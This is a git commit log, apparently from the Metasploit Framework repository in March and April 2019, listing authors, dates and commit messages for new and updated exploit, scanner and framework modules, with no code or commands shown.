bcoles f715816068 Update modules/exploits/linux/local/yum_package_manager_persistence.rb
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-20 17:47:29 -05:00
bcoles 0c22da8c6f Update modules/exploits/linux/local/yum_package_manager_persistence.rb
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-20 17:46:55 -05:00
bcoles 11d174a464 Update modules/exploits/linux/local/yum_package_manager_persistence.rb
PLUGIN

Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-20 17:46:35 -05:00
bcoles 1c0928206f Update modules/exploits/linux/local/yum_package_manager_persistence.rb
PLUGIN

Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-20 17:46:20 -05:00
bcoles 68bc5f6df2 Update documentation/modules/exploit/linux/local/yum_package_manager_persistence.md
PLUGIN

Co-Authored-By: aringo <ringo.aaron@gmail.com>
2019-04-20 17:46:07 -05:00
Jacob Robles e0266b4543 Update nuuo module
aux:nuuo_cms_file_download
2019-04-19 14:26:35 -05:00
Jacob Robles a7d02d49d8 Update mixin and client for response 2019-04-19 14:24:37 -05:00
Jacob Robles e85147a5f2 Add nuuo response
Parse server responses
2019-04-19 14:23:53 -05:00
Metasploit f2579fa7a0 automatic module_metadata_base.json update 2019-04-19 11:01:04 -07:00
Jeffrey Martin 0462797ef7 Land 11760, Fix URL and restore module_metadata_base.json 2019-04-19 12:52:34 -05:00
h00die cf9bda08ae Land #11759 docs update for systemtap 2019-04-19 13:42:49 -04:00
Adam Cammack f14571364f Properly encode URL 2019-04-19 12:35:36 -05:00
Brendan Coles da9aba07af Cleanup apport_abrt_chroot_priv_esc 2019-04-19 17:13:57 +00:00
Adam Cammack f94def4f2a Revert "automatic module_metadata_base.json update"
This reverts commit a21f49bea9.

We need the contents of this file.
2019-04-19 12:01:29 -05:00
Brent Cook 5ef5904296 Land #11747, updated test versions for abrt_raceabrt_priv_esc 2019-04-19 11:43:06 -05:00
Brendan Coles 1749f0572d fix docs 2019-04-19 16:07:17 +00:00
h00die 072ac00acd Land #11754 linux priv esc for SystemTap 2019-04-19 08:39:20 -04:00
Jacob Robles 7b807d4dce Add nuuo client rex and spec 2019-04-19 06:28:56 -05:00
Jacob Robles f0dfc82803 Add nuuo client request rex and spec 2019-04-19 06:26:41 -05:00
bcoles 43c7b8bb63 Fix check 2019-04-19 12:54:30 +10:00
Wei Chen 8ceefce8bf Land #11646, Add module for Rails "DoubleTap" vulnerability 2019-04-18 16:11:09 -05:00
Wei Chen 7ef9c18b58 Add another reference for rails_doubletap_file_read 2019-04-18 16:10:24 -05:00
Wei Chen c223148652 Update module documentation for rails double tap vuln 2019-04-18 16:07:55 -05:00
Wei Chen 89096f374b Update check method to support vuln checks 2019-04-18 15:39:53 -05:00
Metasploit a21f49bea9 automatic module_metadata_base.json update 2019-04-18 10:30:28 -07:00
Brent Cook 5ca87e985f Land #11753, Update glibc_origin_expansion_priv_esc 2019-04-18 12:20:13 -05:00
Brendan Coles 64ed136f09 Add SystemTap MODPROBE_OPTIONS Privilege Escalation module 2019-04-18 17:15:22 +00:00
asoto-r7 1ecb309633 Land #11717, exploit/multi/http/confluence_widget_connector 2019-04-18 12:14:09 -05:00
Metasploit 8b17a9249c Bump version of framework to 5.0.19 2019-04-18 10:07:09 -07:00
asoto-r7 a84aa4e148 Adjusted imeout for the final POST, abort cleanly on failure 2019-04-18 11:57:23 -05:00
Brendan Coles 754255a2fa Fix file description and update tested versions 2019-04-18 15:35:37 +00:00
Dhiraj Mishra 46421beda3 Documentation 2019-04-18 20:47:51 +05:30
Metasploit 4dea39ef41 automatic module_metadata_base.json update 2019-04-18 07:49:23 -07:00
Brent Cook 34da7eb05c Land #11752, bump payloads 2019-04-18 09:41:01 -05:00
Brent Cook 5f75dd1bd2 bump payload sizes 2019-04-18 09:40:12 -05:00
Brendan Coles 606e337cbd Bump metasploit_payloads-mettle to 0.5.12 2019-04-18 13:48:54 +00:00
Brent Cook 54bbcc91ba Land #11749, Update spec with new intended cmd_creds behavior 2019-04-18 07:27:35 -05:00
Jacob Robles 37f5a419b7 Update spec with new intended cmd_creds behavior
Creds behavior was changed in PR #11742
2019-04-18 05:53:23 -05:00
Brent Cook 56995eaa5e Land #11746, explicitly spawn a subshell for cmd_exec 2019-04-18 05:19:55 -05:00
Brendan Coles 10871fa115 Update tested versions 2019-04-18 09:01:51 +00:00
bcoles dd15bdd43a Update modules/auxiliary/scanner/http/springcloud_traversal.rb
Co-Authored-By: RootUp <mishra.dhiraj95@gmail.com>
2019-04-18 12:17:41 +04:00
bcoles fe66786eca Update modules/auxiliary/scanner/http/springcloud_traversal.rb
Co-Authored-By: RootUp <mishra.dhiraj95@gmail.com>
2019-04-18 12:17:31 +04:00
Tim W 31eab90c74 fix mettle cmd_exec 2019-04-18 15:30:26 +08:00
Dhiraj Mishra 5b4dbd034d springcloud_traversal.rb 2019-04-18 11:24:34 +04:00
h00die 20934f114a check for a few more bad inputs 2019-04-17 20:33:50 -04:00
Imran E. Dawoodjee 521277691e Allow users to add other files for realism.
Update docs to reflect this change.
2019-04-18 04:07:46 +08:00
James Barnett 158e3d4ad3 Land #11743, remove regex syntax from invalidate_login 2019-04-17 14:14:06 -05:00
Metasploit 54258534a4 automatic module_metadata_base.json update 2019-04-17 11:39:51 -07:00
William Vu 8e8763df5b Update invalidate_login to remove regex creds 2019-04-17 13:24:59 -05:00
Brent Cook 22085113ad Land #11729, Add Libreoffice macro exec exploit module 2019-04-17 13:21:11 -05:00
William Vu 6be1d41e35 Land #11742, username and password literal search 2019-04-17 13:07:15 -05:00
James Barnett 0c1d63c0ce Update comments as regex is no longer supported 2019-04-17 13:00:42 -05:00
James Barnett 681a4c43c6 Make user and pass options on cred lookup literal
Fixes #11555
2019-04-17 12:37:59 -05:00
bcoles 7a431b0690 Update modules/exploits/osx/local/timemachine_cmd_injection.rb
Co-Authored-By: timwr <timwr@users.noreply.github.com>
2019-04-17 22:22:59 +08:00
Shelby Pace 392078990c added x64 arch for targets 2019-04-17 08:29:58 -05:00
Metasploit 03cb3e31db automatic module_metadata_base.json update 2019-04-17 00:57:54 -07:00
Brent Cook e2b15b3d61 Land #11733, add missing osx docs and update compatibility 2019-04-17 02:48:30 -05:00
Brent Cook b35a1be946 Land #11724, Improve 'use' command to automatically search and fuzzy-match if possible 2019-04-17 02:38:29 -05:00
h00die 4d2962386e save creds from password prompt spoof 2019-04-16 20:44:45 -04:00
William Vu c03ee656a3 Merge remote-tracking branch 'upstream/master' into HEAD 2019-04-16 16:02:11 -05:00
asoto-r7 06792f7cd4 Moved documentation to 'documentation' folder 2019-04-16 14:16:52 -05:00
asoto-r7 0aaae062a4 Updated RPORT to 8090, reduced timeout of final exec.vm request to 5 sec 2019-04-16 14:13:35 -05:00
asoto-r7 8b61c5edf5 Fixed target_platform_compat to support 'Windows 10', made debugging easier 2019-04-16 13:18:00 -05:00
Metasploit b674dc8986 Bump version of framework to 5.0.18 2019-04-16 10:51:27 -07:00
Imran E. Dawoodjee 6676dcb2ec Allow user to use a file of their own choosing.
Updates to documentation and some comments in the module.
2019-04-17 00:18:27 +08:00
Shelby Pace 54edf3c008 reduced file size 2019-04-16 09:06:44 -05:00
Brent Cook 3184800329 Land #11716, check for directory traversal on internal zip paths 2019-04-16 08:24:06 -05:00
Tim W 0472f96209 add the exploit binary 2019-04-16 13:09:41 +08:00
Tim W c428684732 eject only the malformed images 2019-04-16 13:09:13 +08:00
h00die 621c7182bf osx docs and cleanup 2019-04-15 21:01:05 -04:00
Sonny Gonzalez cf7096f8ba Target path normalization fixed 2019-04-15 16:35:15 -05:00
Imran E. Dawoodjee 6c798221fb Module for CVE-2018-20250 and documentation 2019-04-16 02:21:25 +08:00
Shelby Pace d0c29e7b1e mention needed handler in usage instructions 2019-04-15 08:47:13 -05:00
Shelby Pace 8dc8a18d2b added documentation and changes for module 2019-04-15 08:26:11 -05:00
Metasploit 5d55600d7d automatic module_metadata_base.json update 2019-04-15 05:48:29 -07:00
Jacob Robles 8adecac4cf Land #11698, Add wp-google-maps unauth SQLi 2019-04-15 07:38:31 -05:00
Jacob Robles 5559de2458 Update documentation 2019-04-15 07:06:27 -05:00
Synacktiv 562de86fc9 Merge pull request #2 from jrobles-r7/wp-google-maps-sqli
Wp google maps sqli update
2019-04-15 10:17:39 +02:00
Fabio Cogno deaa66d694 Minor update 2019-04-15 00:08:10 +02:00
h00die dcc1a21251 add osx to hash identify 2019-04-14 10:12:26 -04:00
h00die 75ac760d18 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into hash_lib 2019-04-14 09:32:29 -04:00
Tim W a7bd52cb2e initial commit of CVE-2019-8513 (TimeMachine cmd injection) 2019-04-14 20:58:57 +08:00
h00die 1e5253b0eb add python and generate bcrypt on fly 2019-04-13 10:36:56 -04:00
William Vu 23f28e8337 Implement "intelligent" use command with search -u 2019-04-12 18:06:08 -05:00
h00die 0739f5080a expand hashes identify library and add spec 2019-04-12 17:08:19 -04:00
bcoles 6f92b98ba2 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 21:25:13 +01:00
Jeffrey Martin f41a90a582 Land #11720, Update CONTRIBUTING.md advice on topic branches 2019-04-12 15:22:30 -05:00
Jacob Robles 028890ec51 Move ncs mixin code to rex 2019-04-12 15:12:09 -05:00
Jacob Robles 51cb4358d6 Randomize check number 2019-04-12 14:47:34 -05:00
Metasploit 7d383d8bde automatic module_metadata_base.json update 2019-04-12 12:39:42 -07:00
William Vu bbeddb2130 Land #11721, Cisco RV130 exploit updates 2019-04-12 14:31:27 -05:00
William Vu 6326aa5dda Clean up module and randomize username 2019-04-12 14:23:57 -05:00
Metasploit 7de9f5beea automatic module_metadata_base.json update 2019-04-12 12:20:17 -07:00
rrockru 2c3aec897f Refactoring 2019-04-12 22:06:56 +03:00
William Vu 2ebee1226f Land #11613, Cisco RV130 stack BOF exploit 2019-04-12 14:06:51 -05:00
Shelby Pace da0c0d7d3f added most of documentation 2019-04-12 14:01:29 -05:00
Shelby Pace 391e7cf8ef adjusted font size and color 2019-04-12 14:01:29 -05:00
Shelby Pace d7f77fdcee getting session on linux 2019-04-12 14:01:29 -05:00
Shelby Pace 700562594c getting session on windows 2019-04-12 14:01:29 -05:00
Shelby Pace 4873b7c3e6 using a path for both Windows and Linux 2019-04-12 14:01:29 -05:00
Shelby Pace 9d0c045b0d added erb file and base for module 2019-04-12 14:01:29 -05:00
rrockru 8f3bb045b9 Refactoring 2019-04-12 22:00:23 +03:00
William Vu 8fcb6adde8 Update CONTRIBUTING.md advice on topic branches
Credit to @jmartin-r7 for the verbiage.
2019-04-12 12:39:59 -05:00
bcoles 2c3464c93a Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:49:20 +01:00
Jacob 4989498722 Update postgres_copy_from_program_cmd_exec.rb 2019-04-12 17:48:32 +01:00
bcoles 755da3482e Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:43:19 +01:00
bcoles 7daa52af4f Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:42:51 +01:00
bcoles e057c7e129 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:42:37 +01:00
Jacob 5f0c0e5694 Update postgres_copy_from_program_cmd_exec.md 2019-04-12 17:41:43 +01:00
Sonny Gonzalez 04dcd8a1f9 A more robust path resolution
and better readable is_child_of? method
2019-04-12 11:01:14 -05:00
Tim W 7b09947551 Land #11675, add android app api commands 2019-04-12 23:21:00 +08:00
Tim W 6e9698f13b use print_error for errors 2019-04-12 23:20:43 +08:00
Tim W 92eb6df526 include metasploit-payloads 1.3.66 2019-04-12 23:15:50 +08:00
Jacob 5c68ad5a13 Update postgres_copy_from_program_cmd_exec.rb 2019-04-12 11:52:15 +01:00
Quentin Kaiser 5e189196de Target consolidation. 2019-04-12 10:58:56 +02:00
Quentin Kaiser dfb1ebb2e2 Remove Stance value as it is already defined by core/exploit/cmdstager/http. 2019-04-12 10:57:50 +02:00
Sonny Gonzalez 6bf824d200 Zip import directory traversal mitigation 2019-04-11 19:08:37 -05:00
Metasploit 73ad312dbf automatic module_metadata_base.json update 2019-04-11 15:49:25 -07:00
William Vu 949e88d7dd Land #11710, Mettle updates 2019-04-11 17:41:01 -05:00
Brent Cook e7974e4955 bump mettle and other gems 2019-04-11 17:26:15 -05:00
rrockru 5df6560b0b Refactoring 2019-04-12 01:02:16 +03:00
rrockru 84a4e6f4a6 Refactoring 2019-04-12 00:16:45 +03:00
Metasploit 4624686567 automatic module_metadata_base.json update 2019-04-11 14:14:02 -07:00
rrockru 82def16953 Added TRIGGER_URL option 2019-04-12 00:12:27 +03:00
asoto-r7 513b939e61 Land #11690, Add overwrite_config action to cisco_upload_file 2019-04-11 16:05:44 -05:00
rrockru 91eb29b1fe Refactoring. 2019-04-12 00:02:18 +03:00
rrockru 319eb30cce Refactoring 2019-04-11 23:54:58 +03:00
rrockru 000c35a7ad Refactoring 2019-04-11 23:39:50 +03:00
Metasploit 0373812dda automatic module_metadata_base.json update 2019-04-11 10:32:44 -07:00
William Vu 8fcc36b6a0 Land #11714, DUMP_OUTPUT fix for SA-CORE-2019-003 2019-04-11 12:23:12 -05:00
William Vu 4dc2a86b7b Update module doc 2019-04-11 12:21:48 -05:00
William Vu db0803136a Add lost registered option DUMP_OUTPUT
Oops, I forgot this in the refactor.
2019-04-11 12:21:11 -05:00
Metasploit 7b29e6e057 Bump version of framework to 5.0.17 2019-04-11 10:03:55 -07:00
rrockru c0b4e7701f Fix docs 2019-04-11 17:54:10 +03:00
rrockru eab1f6ca54 Added Atlassian Confluence exploit documentation 2019-04-11 17:52:08 +03:00
rrockru 7881d627ca Add Atlassian Confluence RCE exploit 2019-04-11 15:55:51 +03:00
Jacob Robles 236a3ee2f5 Rename files 2019-04-11 07:04:57 -05:00
Jacob Robles 91fec97cd7 Update run logic, fix create_credential usage 2019-04-11 06:54:19 -05:00
Jacob Robles 54abfcbc2c Update check logic 2019-04-11 06:21:40 -05:00
Jacob Robles 1b2b752bef Remove rescue that is handled in HttpClient mixin 2019-04-11 06:20:48 -05:00
Jacob Robles 9385fbc3b7 Change date format 2019-04-11 06:18:52 -05:00
Metasploit 0d0dceacfa automatic module_metadata_base.json update 2019-04-10 15:30:23 -07:00
asoto-r7 b32d116e9a Land #11669, exploit/windows/fileformat/microsoft_windows_contact 2019-04-10 17:18:33 -05:00
asoto-r7 94785dabbb Renamed module from 'microsoft_windows_contact_remote_code_execution' to 'microsoft_windows_contact' 2019-04-10 17:17:50 -05:00
asoto-r7 324f2f0939 Updated documentation to reflect new simplified module options 2019-04-10 17:14:47 -05:00
asoto-r7 62bf38d530 Simplified user options, recreated CONTACT template from a clean file 2019-04-10 17:14:04 -05:00
asoto-r7 7bccdf2d0f Update documentation to detail the verification steps and describe the module options 2019-04-10 17:08:03 -05:00
Metasploit 7b3682ed77 automatic module_metadata_base.json update 2019-04-10 10:38:37 -07:00
William Vu d72672feed Land #11672, Zimbra XXE and SSRF exploit 2019-04-10 09:58:45 -05:00
ct5595 b2f2206943 Update cisco_upload_file.md 2019-04-10 09:14:37 -04:00
ct5595 a8535b9b20 Merge branch 'master' of github.com:ct5595/metasploit-framework into cisco_running_config 2019-04-10 08:42:59 -04:00
Islam Nofl 8813d0a8ad Merge pull request #1 from timwr/cleanup-11675
Accepted
2019-04-10 04:17:57 -04:00
Brent Cook 69dedcac98 Land #11704, Fix duplicate host header 2019-04-09 21:22:46 -05:00
Jacob Robles 4777fb7618 Update syntax to match 2019-04-09 20:05:00 -05:00
Metasploit 5e70904ab8 automatic module_metadata_base.json update 2019-04-09 12:04:19 -07:00
Shelby Pace 4d0a41ff1a Land #11657, add Horde form file upload 2019-04-09 13:47:59 -05:00
Shelby Pace 4018d47b65 changed if not to unless 2019-04-09 13:43:54 -05:00
Jacob Robles ee23a1557e Fix duplicate host header 2019-04-09 09:08:34 -05:00
ct5595 517cc36841 restore variables ciscoFlashCopyEntryStatus
and ciscoFlashCopyCommand for checking if the host is alive and
that the community is valid to prevent putting these in every action
2019-04-09 09:01:33 -04:00
Synacktiv e9dd2f4f06 Store the whole JSON response 2019-04-09 13:59:44 +02:00
Synacktiv b2422ab661 Remove use of service_details 2019-04-09 13:45:17 +02:00
Synacktiv 3d51fdb003 Improve send_sql_request 2019-04-09 13:42:43 +02:00
Quentin Kaiser 3517a4e237 Adapt ranking and mention potential stability issue. 2019-04-09 11:31:15 +02:00
RatioSec Research b56e171172 Fix extraction of session tokens 2019-04-09 09:28:52 +01:00
Brent Cook a5184d39dc Land #11702, use a released metasm gem for update 2019-04-08 18:12:01 -05:00
Jeffrey Martin dfd35cd7e3 Bump to released metasm 1.0.4 2019-04-08 17:55:43 -05:00
Jeffrey Martin 8502f0cc53 Land #11701, Bump rex-powershell version to 0.1.80 2019-04-08 16:07:08 -05:00
Pearce Barry 0e33a55805 Bump rex-powershell gem version to 0.1.80...
...to pick up https://github.com/rapid7/rex-powershell/pull/18.
2019-04-08 16:00:02 -05:00
ct5595 56c38b8205 Merge branch 'master' of github.com:ct5595/metasploit-framework into cisco_running_config 2019-04-08 16:34:17 -04:00
ct5595 2412aa7472 fixed EOL errors from msftidy 2019-04-08 16:29:36 -04:00
ct5595 403cf825a8 modify cisco_upload_file to include actions
default action is Upload_File, which was the original function
the new action Override_Config will override the running config
2019-04-08 16:12:21 -04:00
ct5595 f34314547b update description to reflect upcoming changes and add ct5595 to list of authors 2019-04-08 13:55:13 -04:00
Metasploit 3c2c42677d automatic module_metadata_base.json update 2019-04-08 08:55:07 -07:00
Brent Cook e32bb9e915 Land #11682, don't check 'localhost' unconditionally, fix headers 2019-04-08 10:39:18 -05:00
Brent Cook e9eb008a7a Land #11699, fix Failure scoping for psexec 2019-04-08 10:29:02 -05:00
Brent Cook 0308f80c0e fix Failure scoping (needed for libraries) 2019-04-08 09:57:22 -05:00
Brent Cook 24a1dc856a Land #11694, early merge fix for https://github.com/jjyg/metasm/pull/39 2019-04-08 09:10:15 -05:00
ct5595 9a7d5d96f5 remove previous changes 2019-04-08 09:39:35 -04:00
ct5595 d848361dc6 Added ct5595 to the list of authors 2019-04-08 09:19:17 -04:00
ct5595 8762bd0842 Merge branch 'master' of github.com:ct5595/metasploit-framework into cisco_running_config 2019-04-08 09:13:55 -04:00
Tim W 52fdc4aab1 more cleanup 2019-04-08 18:11:45 +08:00
Tim W ed2dea1158 fix whitespace 2019-04-08 16:54:29 +08:00
Synacktiv 7f60f0b6cc Create wp_google_maps_sql_injection.md 2019-04-08 10:53:29 +02:00
Synacktiv ab1926b7ee Create wp_google_maps_sql_injection.rb 2019-04-08 10:50:41 +02:00
Jacob 69b1f233a8 Update postgres_copy_from_program_cmd_exec.md 2019-04-08 00:20:39 +01:00
Jacob 11385ae29a Update postgres_copy_from_program_cmd_exec.rb 2019-04-08 00:19:55 +01:00
Fabio Cogno 20a8324d8e Add Pimcore from 4.0.0 to 5.6.6 Unserialize RCE 2019-04-07 22:44:02 +02:00
Jeffrey Martin e8eed3bb6a use branched metasm until 2.5 fix is released 2019-04-06 19:50:23 -05:00
Metasploit b2be6bb75c automatic module_metadata_base.json update 2019-04-06 13:52:56 -07:00
Pearce Barry 7e62a69e16 Land #11660, Update use_single_quotes to wrap_double_quotes 2019-04-06 15:44:39 -05:00
h00die ba4990041d osx support for unifi 2019-04-06 11:08:17 -04:00
CorrM 92855dfc1b remove whitespace 2019-04-04 19:38:14 -04:00
Metasploit 0c7e589db8 automatic module_metadata_base.json update 2019-04-04 13:32:00 -07:00
Shelby Pace fff129ae9f Land #11587, add Wordpress core RCE module 2019-04-04 15:22:56 -05:00
Shelby Pace 6efd80e139 added note in info 2019-04-04 15:19:58 -05:00
Shelby Pace 2884d9afcb modified checks, added function 2019-04-04 15:09:12 -05:00
Metasploit 2710c422c2 Bump version of framework to 5.0.16 2019-04-04 10:08:31 -07:00
ct5595 8786150bdf Added functionality for OVERRIDE_CONFIG option 2019-04-04 10:43:08 -04:00
ct5595 b5449b7035 Added OVERRIDE_CONFIG option to cisco_upload_file.rb 2019-04-04 09:47:42 -04:00
CorrM fc638e521b Add root version for (app_install, app_uninstall). improve code syntax
[-] Add root param to `app_install`
[-] Add root param to `app_uninstall`
[-] improve `cmd_` functions syntax
2019-04-04 00:54:25 -04:00
Metasploit 45752affd0 automatic module_metadata_base.json update 2019-04-03 17:29:13 -07:00
William Vu a2165a2954 Land #11685, proper XML encoding for Wemo exploit 2019-04-03 19:20:43 -05:00
William Vu e164c2350c Properly encode command input with XML entities
REXML would make this less ghetto.
2019-04-03 19:10:27 -05:00
Shelby Pace d5ac1e3a33 minor adjustments to indentation and requests 2019-04-03 19:03:47 -05:00
Metasploit 40a3f3c24f automatic module_metadata_base.json update 2019-04-03 12:51:31 -07:00
Adam Cammack de6397445c Land #11681, Remove trailing space in metadata 2019-04-03 14:34:41 -05:00
Javan Rasokat 8350effaa5 Fixed wrong check (did never work)
* HOST was always localhost 
* Now sends both Range and the legacy 'Request-Range'
TODO: Method HEAD is not always sufficient, should be editable
2019-04-03 16:23:58 +02:00
Ben Schmeckpeper 7d1f6afd4a Remove trailing space from CVE reference 2019-04-03 09:21:55 -05:00
CorrM 2ef2e65424 Ready 2019-04-02 18:06:56 -04:00
Metasploit ced68536ab automatic module_metadata_base.json update 2019-04-02 13:04:27 -07:00
William Vu bc4857954e Land #11679, duplicate mailcleaner_exec CVE fix 2019-04-02 14:55:36 -05:00
todb-r7 9e3984ea51 Remove duplicate CVE for Mailcleaner module
See #11304
2019-04-02 12:51:09 -05:00
cbrnrd 18286ca2f7 Use start_with? instead of [0] 2019-04-02 13:43:30 -04:00
cbrnrd f353df952c Use fail_with() instead of return 2019-04-02 13:42:07 -04:00
Brent Cook 94eb039bd3 Land #11677, add missing payload specs 2019-04-02 07:23:16 -05:00
CorrM 3923c20bb8 appapi first commit 2019-04-02 06:35:23 -04:00
wilfried 3081b13a1f Adding payload in exploit code 2019-04-02 10:24:48 +02:00
Islam Nofl 5542d2b1ce Merge branch 'master' into corrm 2019-04-01 19:25:23 -04:00
Metasploit 46535074f6 automatic module_metadata_base.json update 2019-04-01 16:24:03 -07:00
Jeffrey Martin a53ce7539d add missing payload specs 2019-04-01 18:23:52 -05:00
surefire 1b6cd64016 Land #11136, exploit/multi/misc/weblogic_deserialize_unicastref 2019-04-01 18:15:26 -05:00
surefire 40191e5a01 Dissected JSOs, randomized strings, copied T3 header breakdown from @acamro 2019-04-01 18:05:45 -05:00
Jacob Robles 3d662bd962 Fix words because words... 2019-04-01 17:21:23 -05:00
Jacob Robles 69062bb220 Syntax fixes 2019-04-01 17:05:42 -05:00
Metasploit 601719f0e8 automatic module_metadata_base.json update 2019-04-01 14:07:11 -07:00
CorrM d3e83d4557 Android application controller #2 2019-04-01 16:55:01 -04:00
CorrM ae07e611a7 Android application controller 2019-04-01 16:51:06 -04:00
William Vu 06397bb087 Land #11636, postgres_createlang version check fix 2019-04-01 15:21:57 -05:00
Metasploit 3318f52524 automatic module_metadata_base.json update 2019-04-01 12:20:28 -07:00
surefire f292befed4 Land #11134, exploit/multi/misc/weblogic_serialize_marshalledobject 2019-04-01 14:11:30 -05:00
surefire 4d0e47044b Fixed a hardcoded payload length resulting in 40% failures 2019-04-01 14:05:39 -05:00
Brendan Coles ddbd7ba080 Case insensitive match 2019-04-01 18:58:14 +00:00
Aaron Ringo 28983df234 Addition of yum package manager module and documentation 2019-04-01 13:26:45 -05:00
Metasploit 66a6b61441 automatic module_metadata_base.json update 2019-04-01 10:47:23 -07:00
William Vu 5867158238 Land #11595, can_flood post module 2019-04-01 12:38:46 -05:00
William Vu f5f4c4bec2 Clean up module 2019-04-01 12:24:35 -05:00
Jacob Robles c07b015734 File cleanup 2019-04-01 11:39:40 -05:00
William Vu 36deeceae9 Land #11652, search -u to use first search result 2019-04-01 11:30:30 -05:00
William Vu e577b8f46a Prefer print_status for status message 2019-04-01 11:30:11 -05:00
BrennerLittle 58be84b3b8 Create microsoft_windows_contact_remote_code_execution.md
added documentation
2019-04-01 09:55:03 -05:00
Jacob Robles 51d1216953 Update module name 2019-04-01 07:48:26 -05:00
Jacob Robles 7441cd7fa3 Add Zimbra Doc 2019-04-01 07:33:27 -05:00
Jacob Robles 0873ba7ac1 Add Zimbra XXE to RCE module 2019-04-01 07:32:57 -05:00
cbrnrd 0069eed4e2 Add datastore option for printing results 2019-03-31 17:58:23 -04:00
Aaron Ringo 22c3fe35f7 Changed hook payload to redirect errors, to not show up on target screen 2019-03-31 12:09:40 -05:00
BrennerLittle e733d225b6 microsoft_windows_contact_remote_code_execution 2019-03-31 11:12:09 -05:00
Aaron Ringo 299334ae7f fixed bug where alphanumeric was never hit 2019-03-30 22:51:18 -05:00
Aaron Ringo 38bf99e729 Re-add of module after jacking up rebase, with new arches,conditional logic, documentation 2019-03-30 22:04:21 -05:00
Brent Cook edca25d277 remove search 'use by number' option, only use if there is one match 2019-03-30 20:01:40 -05:00
PietroBiondi 2afd27a671 1)Fixed documentation format 2)Refactoring and more efficient loop 2019-03-30 17:12:15 +01:00
Mustafa Çalap 560620dbe9 Add documentation for onion omega2 scanner module 2019-03-30 17:41:03 +03:00
Mustafa Çalap 9957eda362 Add onion omega2 http login scanner module 2019-03-30 17:37:05 +03:00
RatioSec Research 80ca30dc49 Apply fix requests on documentation 2019-03-30 10:19:55 +00:00
William Vu 496f270b30 Update use_single_quotes to wrap_double_quotes 2019-03-29 18:14:56 -05:00
Metasploit d3f30297dd automatic module_metadata_base.json update 2019-03-29 14:30:54 -07:00
Brent Cook 82b7c926fe Land #11579, Add support for splunk 7.2.4 to splunk_upload_app_exec 2019-03-29 16:22:26 -05:00
Metasploit 795cc90586 automatic module_metadata_base.json update 2019-03-29 13:54:37 -07:00
Brent Cook 9c38d58e9f Land #11625, add es file explorer open port CVE-2019-6447 module 2019-03-29 15:46:09 -05:00
RatioSec Research f73e9347b9 Fix documentation for Horde For File Upload 2019-03-29 16:23:53 +00:00
RatioSec Research 8aa2c45cb5 Add documentation for Horde For File Upload 2019-03-29 16:20:59 +00:00
RatioSec Research 5c84e9e61a Remove web root guessing since not reliable 2019-03-29 16:16:06 +00:00
Metasploit f048cde596 automatic module_metadata_base.json update 2019-03-29 08:57:01 -07:00
William Vu 269cb4bca6 Land #11635, Authors check for msftidy 2019-03-29 10:45:31 -05:00
William Vu af494300ec Add timwr as an author to his own modules 2019-03-29 10:44:58 -05:00
William Vu c1758037b9 Include only common module types in Authors check 2019-03-29 10:44:22 -05:00
RatioSec Research f8c5852902 Add Horde Form File Upload 2019-03-29 12:31:14 +00:00
cbrnrd 9de8865930 Merge branch 'cve_2019_5418' of https://github.com/cbrnrd/metasploit-framework into cve_2019_5418 2019-03-28 22:50:53 -06:00
cbrnrd fd4c70d0d4 Clean up loot add and route checks 2019-03-28 22:49:07 -06:00
h00die ff5b790028 apache tika exploit msftidy 2019-03-28 22:07:01 -04:00
h00die dc33998374 apache tika exploit 2019-03-28 22:05:05 -04:00
Brent Cook a5dbf18ade fix the module showing path 2019-03-28 20:36:45 -05:00
Brent Cook 9e3ca56cdd error handling 2019-03-28 20:26:34 -05:00
bcoles 8e41da35b9 Update modules/auxiliary/gather/rails_doubletap_file_read.rb
Co-Authored-By: cbrnrd <cbawsome77@gmail.com>
2019-03-28 19:26:31 -06:00
bcoles d3fc786223 Update modules/auxiliary/gather/rails_doubletap_file_read.rb
Co-Authored-By: cbrnrd <cbawsome77@gmail.com>
2019-03-28 19:26:20 -06:00
bcoles 2370b93bfc Update modules/auxiliary/gather/rails_doubletap_file_read.rb
Co-Authored-By: cbrnrd <cbawsome77@gmail.com>
2019-03-28 19:26:13 -06:00
Brent Cook 07ce0cf358 add search-by-number support that allows 'use' on the module in one easy step
This implements a feature request from a few years back, adding a numeric column to module search, as well as a '-u' option that automatically uses the first module that matches, or if the user specifies a number value, the nth module that matches.
2019-03-28 20:17:01 -05:00
cbrnrd f6fc11a1e4 Switch AKA to 'Notes' section 2019-03-28 19:02:01 -06:00
Metasploit 6060c7ac06 automatic module_metadata_base.json update 2019-03-28 16:01:53 -07:00
Brent Cook 0a24266029 Land #11482, RV320 Unauthenticated RCE 2019-03-28 17:53:05 -05:00
cbrnrd 25d16fa6df Merge branch 'cve_2019_5418' of https://github.com/cbrnrd/metasploit-framework into cve_2019_5418 2019-03-28 13:56:51 -06:00
cbrnrd 02671909e4 Fix review things
Add depth option, fix style things, add more references.
2019-03-28 13:56:19 -06:00
Metasploit 51e204af70 Bump version of framework to 5.0.15 2019-03-28 10:08:24 -07:00
Metasploit 845805f15e automatic module_metadata_base.json update 2019-03-28 07:16:26 -07:00
h00die 1e6850fa53 land #11623 oracle 12 support for hashdumper 2019-03-28 10:07:54 -04:00
h00die 2a311931d3 oracle hashdump cleanup 2019-03-28 10:06:56 -04:00
p0w1 1e0ab44033 Fix Space EOL 2019-03-28 10:56:59 +01:00
p0w1 0470e76f45 Fix Code Style 2019-03-28 10:56:12 +01:00
p0w1 430c2f42b1 Fix Code Style 2019-03-28 10:03:11 +01:00
Carter Brainerd 07075198c3 Delete old file 2019-03-27 21:32:59 -06:00
